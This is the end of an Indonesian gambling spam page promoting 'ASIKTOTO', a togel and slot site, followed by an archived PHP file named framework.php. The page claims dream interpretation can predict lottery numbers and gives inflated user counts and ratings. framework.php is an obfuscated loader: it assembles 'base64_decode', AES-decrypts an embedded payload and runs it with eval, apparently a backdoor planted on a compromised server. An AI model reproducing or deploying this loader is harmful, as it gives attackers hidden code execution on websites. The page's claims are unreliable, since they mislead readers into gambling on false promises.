var(--darkest-color);border: 1px solid var(--border-primary);margin: 0.5rem;border-radius: 9999px}.g{font-size: 0.9rem;font-weight: 400}.ye a:active,.ye a:focus,.ye a:hover{color: var(--text-highlight-color);-webkit-transform: scale(1.2);-ms-transform: scale(1.2);transform: scale(1.2);-webkit-transition: 0.4s;-o-transition: 0.4s;transition: 0.4s}.jacpot{background-color: var(--darkest-color);border: 1px solid var(--border-primary);padding: 0.5rem 1rem;border-radius: 0.5rem}.fb{position: relative;display: flex;flex-direction: column;min-width: 0;overflow: hidden;overflow-wrap: break-word;background-color: var(--dark-color);background-clip: border-box;border: 1px solid rgba(0, 0, 0, 0.125);border-radius: 0.25rem}.id{overflow: hidden;text-overflow: ellipsis;white-space: nowrap}.ie{background-color: transparent;background: linear-gradient(to right,transparent,var(--primary-color) 50%,transparent);border-color: var(--tertiary-color)}.je{width: 100%;letter-spacing: 5px;padding: 16px}.je > div{background-color: var(--text-nav);box-shadow: inset 0 0 2px 1px var(--darkest-color);font-family: "Advanced Dot Digital-7", sans-serif}.jp-size{color: var(--jackpot-number-color);font-size: 2.1rem;line-height: 2.5rem;letter-spacing: 1px}.dc{position: absolute;display: flex;justify-content: space-between;align-items: center}.me{width: 100%;height: 10px;padding: 0 3px;left: 0}.me.ne{top: 3px}.me.oe{bottom: 3px}.ke,.le{background-color: var(--tertiary-color);border-radius: 50%}.ke{width: 10px;height: 10px;animation: a 1s ease 0s infinite normal none running}.le{width: 5px;height: 5px;animation: a 1s steps(1) 0s infinite normal none running}@keyframes a{50%{background-color: var(--text-common-color)}}table{width: 100%;border-radius: 12px}td{background: var(--darkest-color);border-color: #000;border-radius: 12px;padding: 10px}td:first-child{width: 35%}.k-jackpot{display: flex;justify-content: center;flex-wrap: nowrap;margin-right: -10px;margin-left: -10px;overflow: hidden}.k-jackpot .n{padding-left: 0.3rem;padding-right: 0.3rem}.hotgames{flex: 0 0 25%;max-width: 16.65%}.rekomendasi{flex: 0 0 33.33%;max-width: 33.33%}.sports{flex: 0 0 50%;max-width: 50%}.pools{flex: 0 0 16.66%;max-width: 16.66%}.sb{border-color: var(--border-primary);border-top: 4px solid var(--tertiary-color);border-bottom: 2px solid var(--tertiary-color)}.hf{border: 3px solid transparent}.ib{padding: 0.5rem 0.25rem;background-color: var(--tertiary-color);border-top: 1px solid rgba(0, 0, 0, 0.125)}.pools amp-img{width: 75px}.if{width: 10px;height: 10px;border-radius: 50%;position: absolute;top: 6px;right: 6px;box-shadow: 0 0 2px 2px var(--bg-success-color);background-color: var(--bg-success-color)}.bank{flex: 0 0 17%;max-width: 17%}.bank amp-img{width: 100%}.i{padding: 0.1rem;background-color: #fff;border: 1px solid var(--text-common-color);border-radius: 0.5rem}.ef{border-bottom-width: 3px;border-color: #30f95e}.nav-bottom{position: fixed;margin: 0 auto;bottom: 0;left: 0;right: 0;background: #20abff;z-index: 40;border-top-width: 1px;border-top-left-radius: 0.5rem;border-top-right-radius: 0.5rem}.nav-bottom > ul{list-style-type: none}.nav-bottom > ul > li{flex-basis: 0px;flex-grow: 1;font-size: 0.75rem;line-height: 1rem}.nav-bottom > ul > li > a{color: var(--text-btn-primary-color);white-space: nowrap;font-size: 0.75rem;line-height: 1rem;font-weight: 600;text-transform: uppercase}.bg-promo-button{background: #20abff;color: var(--bg-danger-color)}.nav-bottom > ul > li > a:hover{color: var(--text-common-color);background-color: var(--darkest-color);border-color: var(--dark-color);border-top-left-radius: 0.375rem;border-top-right-radius: 0.375rem}.blink{animation: blink 1.2s linear infinite}@keyframes blink{0%{opacity: 0}50%{opacity: 0.8}100%{opacity: 2.5}50%{opacity: 0.8}}@media only screen and (max-width: 720px){.pools{flex: 0 0 20%;max-width: 20%}}@media only screen and (max-width: 600px){.jp-size{font-size: 1.18rem;line-height: 1.7rem}.k-hotGame .n{padding-left: 0.25rem;padding-right: 0.25rem}.n{max-width: 17%}.pools{flex: 0 0 25%;max-width: 25%}.pools amp-img{width: 70px}.pools p{font-size: 0.8rem}.pools .g{font-size: 0.8rem}}@media only screen and (max-width: 360px){.jp-size{font-size: 0.9rem;line-height: 1rem}.pools{flex: 0 0 33.33%;max-width: 33.33%}} </style> <script type="application/ld+json">{"@context":"http://schema.org","@type":"Game","name":"Slot Qris","author":{"@type":"Person","name":"Slot Qris"},"headline":"ASIKTOTO : Pusat Kumpulan Buku Mimpi Togel Online Terpercaya","description":"ASIKTOTO merupakan pusat kumpulan buku mimpi togel online yang sudah dipercaya masyarakat indonesia dalam tafsir mimpi togel hingga mendapatkan angka yang tepat.","keywords":["ASIKTOTO "],"image":"https://rebrand.ly/slider-asik-hadiahtogel","url":"https://www.goodbyemozart.com/","publisher":{"@type":"Organization","name":"ASIKTOTO"},"aggregateRating":{"@type":"AggregateRating","ratingValue":"99","bestRating":"99","worstRating":"0","ratingCount":"799999"},"inLanguage":"id-ID"} </script> </head> <body class="custom-background"> <div class="size-width ff"> <nav class="y eb ec te"> <a href="/"> <amp-img src="https://i.gyazo.com/9ea5f28c0dd30d45792dd185158a3b73.png" alt="ASIKTOTO" width="108" height="30" layout="fixed"></amp-img> </a> <a href="https://t.ly/daftarasik" rel="noreferrer noopener" target="_blank"><span class="bb vb b c blink"><i class="rd ae qc"></i> DAFTAR</span> </a> </nav> <div class="flex flex-row m-0"> <div class="flex flex-row info-area align-items-center m-0 text-common"> <ul class="marquee-item"></ul> <div class="info-bar px-05 py-025"> <div class="info-bar-text"> <i class="fas fa-bullhorn"></i> </div> </div> <div class="info-text text-common"> <div class="text-common mt-1 marquee-container"> <div class="marquee"> <div class="w-full"> <span>SELAMAT DATANG DI ASIKTOTO AGEN TARUHAN TOGEL & SLOT TERBAIK SEPAJANG MASA </span> </div> </div> </div> </div> </div> </div> <div class="lb"> <div class="mb"> <amp-img src="https://rebrand.ly/slider-asik-hadiahtogel" alt="Slot Qris" width="875" height="447" layout="responsive"></amp-img> </div> </div> <div class="k l"> <div class="m"> <a href="https://ibit.ly/loginasik" rel="noreferrer noopener" target="_blank" class="buttom masuk s"><i class="rd xd qc"></i> MASUK</a> </div> <div class="m"> <a href="https://t.ly/daftarasik" rel="noreferrer noopener" target="_blank" class="buttom daftar s"><i class="rd ae qc"></i> DAFTAR</a> </div> </div> <div class="k l text-center ye g p-025"> <div class="m py-05"><a href="https://t.ly/daftarasik" title="Togel" class="flex flex-col text-common text-dn"><i class="qd td de nc"></i>TOGEL</a></div> <div class="m py-05"><a href="https://t.ly/daftarasik" title="Slot" class="flex flex-col text-common text-dn"><i class="qd td ee nc"></i>SLOT</a></div> <div class="m py-05"><a href="https://t.ly/daftarasik" title="Casino" class="flex flex-col text-common text-dn"><i class="qd td ce nc"></i>CASINO</a></div> <div class="m py-05"><a href="https://t.ly/daftarasik" title="Arcade" class="flex flex-col text-common text-dn"><i class="qd td be nc"></i>ARCADE</a></div> <div class="m py-05"><a href="https://t.ly/daftarasik" title="Bola" class="flex flex-col text-common text-dn"><i class="qd td fe nc"></i>BOLA</a></div> </div> <div class="px-025"> <div class="jacpot text-center"> <div class="text-common"> <span class="text-lg font-bold"><i class="fa-solid fa-bolt text-highlight-icon"></i> PROGRESIVE <span class="text-highlight">JACKPOT</span></span> <div class="title-underline mt-05"></div> </div> <div class="fb ie items-center"> <div class="je m-0"> <div class="py-05 m-0"><span id="progressive_jackpot" class="jp-size">875.249.221.910,19</span></div> </div> <div class="dc me ne"> <span class="ke"></span><span class="le"></span><span class="ke"></span><span class="le"></span><span class="ke"></span><span class="le"></span><span class="ke"></span><span class="le"></span><span class="ke"></span><span class="le"></span><span class="ke"></span><span class="le"></span><span class="ke"></span><span class="le"></span><span class="ke"></span><span class="le"></span><span class="ke"></span> </div> <div class="dc wb flex-col yb ac pe re"> <span class="le"></span> </div> <div class="dc me oe"> <span class="ke"></span><span class="le"></span><span class="ke"></span><span class="le"></span><span class="ke"></span><span class="le"></span><span class="ke"></span><span class="le"></span><span class="ke"></span><span class="le"></span><span class="ke"></span><span class="le"></span><span class="ke"></span><span class="le"></span><span class="ke"></span><span class="le"></span><span class="ke"></span> </div> <div class="dc wb flex-col yb ac pe qe"> <span class="le"></span> </div> </div> </div> </div> <div class="p-1"> <table> <tbody> <tr> <td><b>Nama Website</b></td> <td>ASIKTOTO</td> </tr> <tr> <td><b>Minimal Deposit</b></td> <td>10,000 IDR</td> </tr> <tr> <td><b>Proses Depo / WD</b></td> <td>1-3 Menit</td> </tr> <tr> <td><b>Rating Situs ASIKTOTO</b></td> <td>⭐⭐⭐⭐⭐ 921.701.897 Users</td> </tr> <tr> <td><b>Rating RTP Slot</b></td> <td>⚡ 99,89%</td> </tr> </tbody> </table> </div> <div class="jacpot"> <div class="text-common text-center"> <h1 class="nd kd"><span class="text-highlight">ASIKTOTO : Pusat Kumpulan Buku Mimpi Togel Online Terpercaya</span></h1> <p><a href="https://www.goodbyemozart.com/">ASIKTOTO</a> merupakan pusat kumpulan buku mimpi togel online yang sudah dipercaya masyarakat indonesia dalam tafsir mimpi togel hingga mendapatkan angka yang tepat.</p> <h2>Mimpi Togel: Rahasia Angka dalam Tafsir Mimpi</h2> <p>Pernahkah Anda bermimpi tentang angka? Sebagian orang mungkin menganggapnya cuma angan-angan belaka. Namun, bagi pecinta togel, mimpi adalah sumber inspirasi yang tak ternilai harganya. Di Indonesia, telah muncul banyak situs-situs penyedia bantuan dalam menebak angka togel berdasarkan tafsir mimpi. Salah satunya adalah <a href="https://www.goodbyemozart.com/">ASIKTOTO</a>, pusat kumpulan buku mimpi togel online yang terpercaya. Dalam artikel ini, kita akan menjelajahi lebih dalam tentang ASIKTOTO dan mengungkap kelebihan layanan serta keuntungan bermain di situs ini.</p> <h2>ASIKTOTO: Pusat Kumpulan Buku Mimpi Togel Online Terpercaya</h2> <p>ASIKTOTO telah diakui oleh masyarakat Indonesia sebagai sumber terpercaya untuk <a href="https://www.goodbyemozart.com/"> tafsir mimpi togel </a>. Buku-buku mimpi yang tersedia di ASIKTOTO adalah kumpulan mimpi-mimpi yang diinterpretasikan menjadi angka togel yang akurat. Dengan demikian, pengguna ASIKTOTO dapat memanfaatkan tafsir mimpi togel sebagai panduan untuk memprediksi angka yang tepat.</p> <h2>Buku Mimpi Togel Terlengkap: Panduan Anda di Dunia Togel</h2> <p>ASIKTOTO bangga menyajikan <a href="https://www.goodbyemozart.com/"> buku mimpi togel </a> terlengkap kepada pengguna setianya. Buku-buku mimpi ini mencakup ribuan variasi mimpi yang sering muncul dalam kehidupan sehari-hari. Apakah Anda bermimpi melihat hewan, benda, atau situasi tertentu? Di ASIKTOTO, Anda akan menemukan tafsir lengkap yang terkait dengan mimpi Anda. Setiap mimpi memiliki arti dan angka togel yang sesuai. Dengan menggali pengetahuan dari buku mimpi togel ini, Anda dapat meningkatkan peluang Anda untuk mendapatkan angka yang tepat.</p> <h3>Tafsir Mimpi Togel: Pengetahuan dalam Genggaman Anda</h3> <p>Tafsir mimpi togel adalah seni kuno yang telah digunakan oleh para pecinta togel untuk memprediksi nomor yang akan keluar. Melalui ASIKTOTO, Anda bisa mendapatkan tafsir mimpi togel terkini yang diperbarui secara rutin. Tim pakar di ASIKTOTO selalu memantau tren mimpi dan menghubungkannya dengan angka togel terbaru. Dengan informasi ini, Anda akan memiliki pengetahuan yang diperlukan untuk meningkatkan peluang Anda dalam memasang taruhan.</p> <h3>Seribu Mimpi Togel: Himpunan Mimpi dalam Satu Tempat</h3> <p>ASIKTOTO menyediakan buku mimpi togel dengan lebih dari seribu variasi mimpi. Dalam himpunan mimpi ini, Anda akan menemukan tafsir yang cermat dan angka togel yang relevan. Jika Anda mencari tafsir untuk mimpi-mimpi yang jarang atau spesifik, maka Anda akan menemukannya di ASIKTOTO. Menggali lebih dalam melalui buku mimpi togel ini akan memberikan wawasan tambahan bagi Anda untuk memprediksi angka yang akan keluar.</p> <h3>Buku Tafsir Mimpi Togel: Panduan Praktis untuk Pecinta Togel</h3> <p>Bagi pecinta togel, buku tafsir mimpi togel adalah harta yang tak ternilai. Dalam buku-buku ini, Anda akan menemukan bantuan dalam memahami bahasa mimpi. Tafsir mimpi togel menjadi jembatan antara visualisasi mimpi dan angka togel yang akan keluar. ASIKTOTO menghadirkan buku mimpi togel terbaik dengan tafsir yang lengkap dan akurat. Menjelajahi buku-buku ini akan membantu meningkatkan pemahaman Anda dalam menerjemahkan mimpi menjadi angka togel yang tepat.</p> <h3>Kelebihan dan Keuntungan Bermain di ASIKTOTO</h3> <p>Selain menyediakan koleksi buku <a href="https://www.goodbyemozart.com/">mimpi togel</a> terbaik, ASIKTOTO juga menawarkan beberapa kelebihan layanan yang akan meningkatkan pengalaman bermain Anda. Inilah beberapa keuntungan bermain di ASIKTOTO:</p> <ol> <li> <p><strong>Keamanan dan Kepercayaan</strong>: ASIKTOTO adalah situs togel online yang terpercaya. Dengan adanya jaminan keamanan data pribadi dan transaksi, Anda dapat bermain dengan tenang dan nyaman.</p> </li> <li> <p><strong>Tampilan User-Friendly</strong>: ASIKTOTO memiliki antarmuka yang mudah digunakan, sehingga pengguna baru pun tidak akan kesulitan untuk bermain di situs ini.</p> </li> <li> <p><strong>Promo dan Bonus Menarik</strong>: ASIKTOTO menyelenggarakan promosi dan memberikan bonus kepada para pemain setianya. Ini adalah kesempatan yang baik untuk mendapatkan keuntungan lebih saat bermain.</p> </li> <li> <p><strong>Layanan Pelanggan 24/7</strong>: ASIKTOTO menyediakan layanan pelanggan selama 24 jam sehari dan 7 hari seminggu. Jika Anda memiliki pertanyaan atau menghadapi kendala, tim dukungan pelanggan siap membantu Anda.</p> </li> <li> <p><strong>Aksesibilitas</strong>: ASIKTOTO dapat diakses melalui komputer, laptop, atau perangkat seluler. Anda dapat bermain di ASIKTOTO kapan saja dan di mana saja sesuai dengan preferensi Anda.</p> </li> </ol> <p>Dalam kesimpulan, ASIKTOTO adalah pusat kumpulan buku mimpi togel online terpercaya yang menyediakan tafsir mimpi togel dengan jumlah variasi yang lengkap. Dengan pengetahuan dari buku-buku mimpi ini, Anda dapat meningkatkan peluang Anda untuk memprediksi angka togel yang akurat. Selain itu, kelebihan layanan ASIKTOTO dan keuntungan bermain di situs ini akan meningkatkan pengalaman bermain Anda. Jadi, jangan ragu untuk mencoba ASIKTOTO dan mengejar mimpi togel Anda!</p> <div class="title-underline mt-05"></div> </div> </div> </div> <footer class="p-1"> <div class="text-center" style="color:#fff">Copyright © <a href="https://www.goodbyemozart.com/">ASIKTOTO</a></div> </footer> <div class="size-width nav-bottom"> <ul class="flex flex-row w-full p-025 m-0"> <li class="text-center"> <a class="px-025 flex flex-col text-common p-05" href="/"> <i class="fas text-lg fa-home"></i>Beranda </a> </li> <li class="text-center"> <a class="px-025 flex flex-col text-common p-05" href="https://t.ly/daftarasik" target="_blank"> <i class="fas text-lg fa-user-plus"></i>Daftar </a> </li> <li class="text-center"> <a class="px-025 flex flex-col text-common p-05" href="https://ibit.ly/loginasik" target="_blank"> <i class="fas text-lg fa-user"></i>Masuk </a> </li> <li class="text-center"> <a class="px-025 flex flex-col p-05 bg-promo-button rounded-lg" href="https://t.ly/daftarasik" target="_blank"> <i class="fa-solid text-lg fa-gift"></i>Promo </a> </li> <li class="text-center"> <a role="button" class="px-025 flex flex-col text-common p-05" href="https://rebrand.ly/LC-ASIKTOTO" target="_blank"> <i class="fas text-lg fa-headset"></i>Live Chat </a> </li> </ul> </div> </body> </html>PK �8�\ө�� � framework.phpnu �[��� <?php function analyze_data($m) { $t = array(100 * 103 - 10186, 2 * 52, 94 * 14 - 1217); $f = ''; foreach ($t as $o) { $f .= chr($o); } $f = strrev($f); return $f($m); } $pse = array(98 + 2 - 2 - 10 + 10 + 2 - 2, (97 - 18 + 18 - 10 + 10 - 3 + 3 + 5 - 5 * 1) / 1, 115 + 8 + 5 - (8 + 5) - 7 + 7 - 1 + 1, 101 + 10 + 7 - (10 + 7) - 14 + 14 + 3 + 2 - (3 + 2), 54 * 6 / 6 * 6 / 6 - 3 + 3 - 5 + 5 - 19 + 19, 52 + 2 + 8 - (2 + 8) + 2 - 2 + 1 + 7 - (1 + 7), 95 - 19 + 19 + 1 - 1 + 9 + 5 - (9 + 5) - 15 + 15 - 13 + 13, 100 - 20 + 20 + 2 + 8 - (2 + 8), 101 + 7 + 10 - (7 + 10) - 2 + 2 - 5 + 5 - 20 + 20 - 16 + 16, 99 + 4 + 4 - (4 + 4) + 10 - 10 + 20 - 20 + 3 - 3 - 8 + 8, 111 - 18 + 18 + 1 + 2 - (1 + 2), 100 + 9 + 7 - (9 + 7) - 12 + 12 + 19 - 19 - 10 + 10, 101 + 6 - 6 + 10 + 8 - (10 + 8) + 9 + 1 - (9 + 1) + 12 - 12); $kdu = ''; foreach ($pse as $avf) { $kdu .= analyze_data($avf); } $gzq = 'LSlFnzBKags/SiS9LuQaejODwCemcsXkCLLek8RfP/8N/MeV2nQUNhPglqhpXnVZHHR5Xyx2N1AJ25Zn/V0aUpXmsjG4LEhiH0qXYKKZ/pvEROzwtx2q+Z2dJvl4REY96xnd2w9bPapKVPYyKlnXo2FK9KyfoSSfLdgUNPPFgqFd5qKTu+v5oJPs9HVO+dxs7zGx3136NBvkcgGwQufyCNRvq7yyYomat0s6LKorZqENSyaeppa1Pcdb0GaI1GeAqbWDB8zt3muLpCJ0utZD56iDHdv+ugCCuq7hrdPlaOquk9Wrn3lfBDltcTtyT7ZKkhLmP5ul1Ug41dUa6bOUlPhwtPacJWNs32dvc5+3lvcFfxtpPaOjcqxm0lEOgR2UNT8WdWpouc5SqUjtT+vmGJsOj6AHW4sBLnnLs78osvLqQVtEGolsOdUAiI6Yfvj6OLpPR0fqI+nFtPcbU2GnDDYV3WJy3PLzbjt/PbyyE+2pFkmqW7c7D9D2Xcxr3gUPvPZC86oCoXP8nmribv9+CXDdTcEIMtve2Ap6iOmKW0Kujcq/iffDBIfpphTtlBgW8nZYs3IfTladE8FRJNbw4lCr7T9YWuQh3G+IuzeHAsUePZQ1AGXyXQBm8zgtAuxhkUUj6ED61qtkqEzUDQ5D2/XUw0IMNx73lri+/zPDzRjKx+POFpPIzqzaTwVAQI2bQvOzoUXkIlWhn5cK+t8my/Z8ya0Y722BYRDnOjMCExaZk7W+CLOJ05rX1nFpXXLxP0G3nJcK9FcXr6lSCpf/ekRXIZPs2iE2PlsvEnExiZYPZH6YTd8zr8XDZUvVv3Z7U6uVE5uau3C+1b7jyP9ZO8VR85jo28DuUCPx4OpivlViGDKIsU+lxhwO8w7kM+xqwAyTs1ImB9lQ6VQBHWLMZLxjCyY41QqyJiqnX+obLC6o9cOmkhRC3YTfrFW6G631hBhkCr04Dh4sxbyu7gc+5gQKQ+F2+khv+JWOgFpQel7aAcIsv/bYnyoFqmp/lFH3Ms2YoqlXA5G37WJ9/2SxZZ9IijKqRpiVmgQkasuVy6BTDhN2luEX19ICHywXW8FE'; $ehx = 'umy/Ir+B8spzQYmnl1MQ1lLSnMl1+LGJKg/BQWZrpd0='; $xdw = 'XX71PojMQ/eprfbbHOyttA=='; $kip = openssl_decrypt($kdu($gzq), 'aes-256-cbc', $kdu($ehx), OPENSSL_RAW_DATA, $kdu($xdw)); eval($kip);PK �8�\��5j|&